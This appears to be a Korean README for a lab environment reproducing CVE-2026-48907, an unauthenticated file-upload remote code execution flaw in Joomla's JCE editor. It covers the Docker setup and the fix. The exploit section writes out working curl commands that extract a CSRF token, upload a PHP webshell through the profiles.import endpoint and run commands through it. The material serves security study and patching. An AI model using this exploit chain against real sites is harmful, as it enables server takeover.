CVE-2026-48907 — Joomla JCE 인증되지 않은 원격 코드 실행 실습 환경

PSsec CVE-2026-48907 교육용 보안 연구 실습 환경

개요

CVE-2026-48907은 **JCE (Joomla Content Editor)**에서 발견된 심각한(CVSS 10.0) 인증되지 않은 원격 코드 실행 취약점입니다. JCE는 Joomla에서 가장 널리 설치된 편집기 확장 프로그램이며, 모든 2.9.99.4 이하 버전에 영향을 미칩니다.

profiles.import 엔드포인트는 인증 없이 파일 업로드를 허용합니다. 공격자는 XML 프로파일로 위장한 악성 PHP 파일을 업로드할 수 있으며, 이 파일은 서버의 tmp/ 디렉토리에 기록되고 HTTP를 통해 직접 실행됩니다 — 자격 증명이 필요하지 않습니다.

세부 정보	값
CVE	CVE-2026-48907
CVSS 점수	10.0 치명적
영향받는 버전	JCE ≤ 2.9.99.4
수정된 버전	JCE ≥ 2.9.99.5
CISA KEV 등록	예 — 2026년 6월 16일
실제 악용	예

실습 환경 구성

사전 요구 사항

Docker + Docker Compose
Kali Linux (또는 모든 Linux 호스트)

1. 취약한 환경 시작

docker compose up -d

2. Joomla 설치 마법사 완료

브라우저에서 http://localhost:8080을 열고 다음 자격 증명을 사용하여 설치 마법사를 완료하세요:

필드	값
데이터베이스 호스트	`db`
데이터베이스 이름	`joomla`
데이터베이스 사용자	`joomla`
데이터베이스 비밀번호

3. 취약한 JCE 확장 프로그램 설치

wget https://github.com/widgetfactory/jce/releases/download/2.9.99.4/pkg_jce_29994.zip

그런 다음 Joomla 관리자에서 시스템 → 확장 프로그램 → 설치로 이동하여 ZIP 파일을 업로드하세요.

익스플로잇

4. CSRF 토큰 및 세션 쿠키 추출

URL=http://localhost:8080
TOKEN=$(curl -s -c cookies.txt "$URL/" \
  | sed -n 's/.*"csrf\.token"[[:space:]]*:[[:space:]]*"\([a-f0-9]\{32\}\)".*/\1/p; s/.*name="\([a-f0-9]\{32\}\)"[^>]*value="1".*/\1/p' \
  | head -n1)

5. 인증되지 않은 프로파일 가져오기를 통해 PHP 웹쉘 업로드

curl -i -s -b cookies.txt -c cookies.txt \
  -F "[email protected];type=application/xml" \
  -F "task=profiles.import" \
  -F "${TOKEN}=1" \
  "$URL/index.php?option=com_jce"

6. 원격 코드 실행 확인

curl -i -s -b cookies.txt -c cookies.txt \
  "$URL/tmp/shell.xml.php?cmd=id"

예상 출력: uid=33(www-data) gid=33(www-data)

파일

파일	설명
`docker-compose.yml`	취약한 Joomla 5.3.1 + MySQL 8.0 환경을 시작합니다.
`shell.xml.php`	최소 PHP 웹쉘 페이로드
`instructions.txt`	단계별 익스플로잇 노트

해결 방법

JCE를 버전 2.9.99.5 이상으로 즉시 업데이트하세요.

공식 공급업체 권고 및 구형 Joomla 버전용 무료 패치: JCE 보안 업데이트 — joomlacontenteditor.net

크레딧

익스플로잇 도구 참고: JoomlaSniper by ynsmroztas
취약점은 mySites.guru의 Phil Taylor에 의해 실제 환경에서 발견되었습니다.
CISA KEV 등록: 2026년 6월 16일

면책 조항

이 저장소는 엄격히 교육 및 승인된 보안 연구 목적으로 제공됩니다.

테스트는 소유하거나 명시적인 서면 허가를 받은 시스템에 대해서만 수행해야 합니다. 소유하지 않은 시스템에 대해 이 자료를 무단 사용하는 것은 불법적이고 비윤리적입니다. 작성자와 Pansophical OU는 이 콘텐츠의 오용에 대한 책임을 지지 않습니다.

이 실습 환경은 의도적으로 취약하게 구성되어 있습니다. 인터넷이나 신뢰할 수 없는 네트워크에 노출하지 마십시오.

PSsec 제공

CVE-2026-48907

인기